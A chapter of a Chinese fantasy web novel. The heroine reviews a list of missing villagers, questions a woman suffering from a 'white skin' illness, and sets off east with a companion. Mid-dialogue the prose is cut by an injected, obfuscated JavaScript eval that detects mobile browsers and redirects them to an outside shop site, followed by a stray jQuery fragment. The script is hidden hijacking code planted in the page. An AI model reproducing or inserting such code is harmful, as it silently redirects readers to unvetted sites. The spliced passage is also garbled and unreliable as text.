东麓和南麓的名单比北麓的更长。
她第二天早上把名单从灰猫长老那里取回来,铺在议事堂的桌面上看了一遍。纸页上列着二十多个名字,分布在东麓五个寨子和南麓三个寨子,转运日期从三年前一直延续到去年冬天。有些名字后面标注着“已确认”,有些标注着“下落不明”,还有几个名字旁边画了一个小圈,灰猫长老在旁边注了一行字:“可能已亡。”她把名单折好放回布包,走出议事堂的时候在门口蹲了一拍。谷地里的光线比前几天更亮了,树冠之间的缝隙正在变宽,春天的嫩叶正在替换冬天留下来的旧枝。她在门口蹲了一会儿,然后沿着谷地的小径往西侧走。
西侧的旧屋里住着几个从北麓来的伤者。她走到门口的时候,一个灰黄色的灵族女人正蹲在门槛上择野菜,手里握着一把干瘦的菜叶,正在把发黄的叶片摘掉。她的动作很慢,指节有些僵,但每一片摘下来的叶子都被整齐地码在膝头的一块旧布上。她看见林晓走过来的时候抬起头,目光在她脸上停了一拍,然后低头继续择菜。林晓蹲在门口没有进去,看了一会儿她择菜的动作。那个女人的手掌翻过来的时候,指腹上有一层浅白色的东西,边缘微微卷起,像是被水泡过之后又风干了很多遍。白皮。灵山北麓的寨子里最早出现的那种病。
她在门口蹲了一拍,然后开口:“你从北麓哪个寨子来的?”女人手里的动作停了一拍,然后把手里那片摘干净的菜叶放在布上,抬起头来看着她:“北麓第四哨站。往南走了一整天才到这边。”她把双手放在膝盖上,那层白皮在晨光里泛着一层薄薄的光,“寨子里有三个人得了这个,我是最轻的。另外两个走不了路,留在寨子里了。”林晓蹲在门槛外面把布包放在膝盖上,从里面取出那张东麓南麓的名单翻到最后一页——北麓第四哨站不在名单上,但这个地名她见过,在陆廷给的转运记录里,第四哨站被划掉过,下面还有旧字迹。她把名单收好放回布包,看着那个女人的手:“白皮是从什么时候开始的?”女人想了想:“封关之后第三年。先是手上,后来慢慢往上走。不疼,但会僵,关节慢慢就弯不了了。”她把手指屈了一下又伸直,关节的动作比正常人慢半拍,像是被什么东西从里面卡住了。
她站起来沿着谷地小径往议事堂走。灰猫长老还在桌边坐着,面前摊着几张旧地图,上面标注着东麓和南麓的寨子位置。她蹲在桌边把北麓第四哨站的情况说了一遍,灰猫长老听完之后没有立刻接话,把地图往她的方向推了一寸:“第四哨站不在转运名单上,但封关之后那边有人去过。你带来的记录里有一页提到了‘北麓第四哨站·疫病核查’,字迹被划掉了,但底下的旧字还能辨认。”他把地图上的一条线指给她看,“如果你要去查东麓南麓的名单,可以顺路经过第四哨站。那边离东麓的第二哨站不远,大约半天的路程。”
她把地图上的路线记了一遍,然后站起来走出议事堂。席若尘在门口蹲着,手里拿着一只旧水囊正在灌水。他看见她出来的时候把水囊递过来:“地图上那条线我走过一段。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17950308|213644||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
从灵山外围往东,先经过一片矮树林,然后过一条干河沟,第四哨站在河沟北侧。路不难走,但中间有一段没有遮拦,如果有人从高处看,容易看到。”她接过水囊喝了一口,然后挂回肩上。他在旁边蹲下来,把手掌放在膝盖上:“你要去查东麓南麓的名单,我跟你去。长城那边的事已经交了,灵山这边暂时没有需要我的地方。”她蹲在门口把布包系紧,看了他一眼。他的左臂上还缠着布条,但已经窄到了只剩两指宽,系得松,像是随时可以拆掉。她站起来朝谷地入口的方向偏了一下头。
他们第二天天亮之前出发。同行的还有两个灵山巡逻队的猫形灵族,是灰猫长老安排的,熟悉东麓外围的路线。窄道外面比上次更安静,断崖外的开阔地上没有新的脚印或车辙。她沿着坡面往东走,矮树林的树冠比之前更密了,新叶正在从旧枝上长出来,颜色比冬天的叶子更亮。她走了一段之后在树林边缘停下来,蹲在树根下面把布包打开重新确认了一遍——名单在,铜扣在,水囊和干粮都在。席若尘在她旁边蹲下,把短棍从腰侧解下来检查了一遍,然后重新别好。两个巡逻队的猫形灵族站在树林边缘,一个面朝东,一个面朝北,耳朵朝两侧转着。她站起来继续往东走,路面的颜色从枯黄转为浅绿,草丛里的新芽正在从干枯的旧茎之间钻出来,细而软,被风压弯了又弹起来。她沿着这条路走了下去,东麓的轮廓在前方慢慢展开,山脊线从低处升起,树冠层叠。她沿着那条路继续走着,脚下是新芽和旧茎交错的软地,每一步都稳。